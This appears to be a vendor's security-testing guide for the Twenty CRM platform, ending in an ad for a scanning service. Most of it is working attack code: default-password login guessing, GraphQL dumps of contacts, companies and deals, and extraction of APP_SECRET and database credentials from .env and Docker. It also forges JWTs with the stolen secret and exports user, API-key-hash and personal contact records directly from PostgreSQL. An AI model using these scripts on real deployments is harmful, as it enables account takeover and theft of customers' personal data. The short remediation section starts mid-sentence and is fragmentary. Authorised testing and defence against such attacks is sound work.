Twenty is a widely deployed open-source CRM platform (Salesforce/HubSpot alternative) built on Node.js with a GraphQL API, used to manage contacts, companies, deals, and customer relationships — it stores all organizational customer data. Key assessment areas: APP_SECRET signs JWT authentication tokens; the GraphQL API provides flexible querying across all CRM objects; PG_DATABASE_URL contains the PostgreSQL connection string with all customer data; and Redis stores active session tokens. The GraphQL introspection endpoint can reveal all available CRM data types and their relationships, enabling targeted data extraction. This guide covers systematic Twenty CRM security assessment.
# Twenty CRM — authentication and API token testing
TWENTY_URL="https://twenty.example.com"
# Twenty login — email/password
AUTH=$(curl -s -X POST "${TWENTY_URL}/auth/login" \
-H "Content-Type: application/json" \
-d '{"email":"admin@example.com","password":"admin"}' 2>/dev/null)
echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
token = d.get('loginToken',{}).get('token','') or d.get('token','')
print(f'Token: {token[:50] if token else \"FAIL: \"+str(list(d.keys()))}')
" 2>/dev/null
# Try common passwords
for PASS in "admin" "twenty" "password" "changeme" "admin123"; do
STATUS=$(curl -s -X POST "${TWENTY_URL}/auth/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if d.get('loginToken') or d.get('token') else 'FAIL')" 2>/dev/null)
echo "admin/${PASS}: ${STATUS}"
done
# API key (generated in Settings > API keys)
API_KEY="your-twenty-api-key"
curl -s -X POST "${TWENTY_URL}/api" \
-H "Authorization: Bearer ${API_KEY}" \
-H "Content-Type: application/json" \
-d '{"query":"{ currentUser { id name { firstName lastName } email } }"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
u=d.get('data',{}).get('currentUser',{})
name=u.get('name',{})
print(f'User: {name.get(\"firstName\")} {name.get(\"lastName\")} ({u.get(\"email\")})')
" 2>/dev/null
# Twenty CRM GraphQL API — CRM data enumeration
TWENTY_URL="https://twenty.example.com"
API_KEY="your-twenty-api-key"
# GraphQL introspection — discover all CRM object types and fields
curl -s -X POST "${TWENTY_URL}/api" \
-H "Authorization: Bearer ${API_KEY}" \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name kind description } } }"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
types=[t for t in d.get('data',{}).get('__schema',{}).get('types',[]) if t['kind']=='OBJECT' and not t['name'].startswith('__')]
print(f'GraphQL object types: {len(types)}')
for t in types[:20]:
print(f' {t[\"name\"]}')
" 2>/dev/null
# Enumerate all contacts (persons) — email, phone, city
curl -s -X POST "${TWENTY_URL}/api" \
-H "Authorization: Bearer ${API_KEY}" \
-H "Content-Type: application/json" \
-d '{"query":"{ people(first:20) { edges { node { id name { firstName lastName } emails { primaryEmail } phones { primaryPhoneNumber } city jobTitle } } } }"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
people=d.get('data',{}).get('people',{}).get('edges',[])
print(f'Contacts: {len(people)}')
for p in people[:10]:
n=p[\"node\"]
name=n.get(\"name\",{})
print(f' {name.get(\"firstName\")} {name.get(\"lastName\")} email={n.get(\"emails\",{}).get(\"primaryEmail\",\"\")} title={n.get(\"jobTitle\",\"\")}')
" 2>/dev/null
# Enumerate all companies with domain names
curl -s -X POST "${TWENTY_URL}/api" \
-H "Authorization: Bearer ${API_KEY}" \
-H "Content-Type: application/json" \
-d '{"query":"{ companies(first:20) { edges { node { id name domainName { primaryLinkUrl } annualRecurringRevenue { amountMicros currencyCode } employees } } } }"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
companies=d.get('data',{}).get('companies',{}).get('edges',[])
print(f'Companies: {len(companies)}')
for c in companies[:10]:
n=c[\"node\"]
arr=n.get('annualRecurringRevenue',{})
print(f' {n.get(\"name\")} domain={n.get(\"domainName\",{}).get(\"primaryLinkUrl\",\"\")} ARR={arr.get(\"amountMicros\",\"\")}')
" 2>/dev/null
# Enumerate all opportunities/deals with amounts
curl -s -X POST "${TWENTY_URL}/api" \
-H "Authorization: Bearer ${API_KEY}" \
-H "Content-Type: application/json" \
-d '{"query":"{ opportunities(first:20) { edges { node { id name amount { amountMicros currencyCode } stage closeDate probability } } } }"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
opps=d.get('data',{}).get('opportunities',{}).get('edges',[])
print(f'Opportunities/Deals: {len(opps)}')
for o in opps[:10]:
n=o[\"node\"]
amt=n.get('amount',{})
micro=amt.get('amountMicros',0)
print(f' {n.get(\"name\")} stage={n.get(\"stage\")} amount={int(micro)/1000000:.0f} {amt.get(\"currencyCode\",\"\")} close={n.get(\"closeDate\",\"\")[:10]}')
" 2>/dev/null
# Twenty CRM APP_SECRET and database credential extraction
# .env file
cat /app/.env 2>/dev/null | grep -E "APP_SECRET|PG_DATABASE|REDIS|STORAGE|PASSWORD|SECRET"
# APP_SECRET — JWT signing key
# PG_DATABASE_URL — PostgreSQL connection string
# REDIS_URL — Redis connection
# STORAGE_* — S3/MinIO credentials for file attachments
# Docker environment variables
docker inspect twenty-server 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['APP_SECRET','PG_DATABASE','REDIS','STORAGE','PASSWORD']):
print(e)
" 2>/dev/null
# Forge JWT token using APP_SECRET
APP_SECRET="extracted-secret"
node -e "
const crypto = require('crypto');
const now = Math.floor(Date.now()/1000);
const h = Buffer.from(JSON.stringify({alg:'HS256',typ:'JWT'})).toString('base64url');
const p = Buffer.from(JSON.stringify({
sub: 'workspace-member-id',
workspaceId: 'workspace-id',
workspaceMemberId: 'member-id',
iat: now,
exp: now + 86400
})).toString('base64url');
const s = crypto.createHmac('sha256','${APP_SECRET}').update(h+'.'+p).digest('base64url');
console.log('Token: '+h+'.'+p+'.'+s);
" 2>/dev/null
# PostgreSQL direct access — all CRM data
PG_DATABASE_URL="postgresql://twenty:PASSWORD@localhost/twenty"
psql "$PG_DATABASE_URL" 2>/dev/null << 'EOF'
-- All workspace members (users) with API key hashes
SELECT wm.id, wm.name, u.email, wm.role, wm.created_at
FROM core."workspaceMember" wm
JOIN core.user u ON wm."userId" = u.id
ORDER BY wm.role, wm.created_at DESC
LIMIT 20;
EOF
# API keys stored in database
psql "$PG_DATABASE_URL" 2>/dev/null << 'EOF'
SELECT a.id, a.name, a."tokenHash", a.type,
a."expiresAt", a."createdAt"
FROM core."apiKey" a
ORDER BY a."createdAt" DESC
LIMIT 20;
EOF
# All contacts with emails — complete CRM export
psql "$PG_DATABASE_URL" 2>/dev/null << 'EOF'
SELECT p.id, p."nameFirstName", p."nameLastName",
p."emailsPrimaryEmail", p."phonesPrimaryPhoneNumber",
p."jobTitle", p."city"
FROM workspace.person p
ORDER BY p."createdAt" DESC
LIMIT 50;
EOF
openssl rand -hex 32; store it in a secrets manager rather than plain .env files; restrict .env file access to the process user (chmod 600); API keys stored in the database use token hashing — the raw key is only shown once at creation; rotate API keys on a regular schedule and revoke keys immediately for departed team members; implement API key expiration dates for external integrations| Security Test | Method | Risk |
|---|---|---|
| GraphQL introspection and full CRM schema discovery | POST /api with __schema introspection query — reveals all CRM object types, fields, and relationships; enables crafting targeted queries to extract all contacts, companies, deals, and custom objects | High |
| APP_SECRET extraction and JWT token forgery | Read .env APP_SECRET — JWT signing key; forge valid tokens as any workspace member or owner bypassing password authentication | Critical |
| GraphQL bulk CRM data extraction | POST /api with people/companies/opportunities queries — all contact emails, company financials (ARR), deal pipeline values and stages; complete CRM database exportable via single GraphQL queries | High |
| PostgreSQL direct access and customer data export | Read PG_DATABASE_URL — connect directly to workspace.person, workspace.company, workspace.opportunity tables; complete raw CRM data without API-level access controls | Critical |
| API key hash extraction from database | SELECT from core.apiKey — tokenHash for all API keys; hash may be reversible or used to identify active integrations; key metadata reveals which integrations have API access | Medium |
Ironimo tests Twenty CRM deployments for APP_SECRET extraction and JWT token forgery, GraphQL introspection schema discovery, bulk CRM data extraction via GraphQL (contacts/companies/deals), PostgreSQL credential extraction and direct database access, API key database enumeration, Docker environment variable exposure, GraphQL query depth and complexity limit bypass, workspace access boundary testing, Redis session token access, and file attachment storage credential extraction.
Start free scan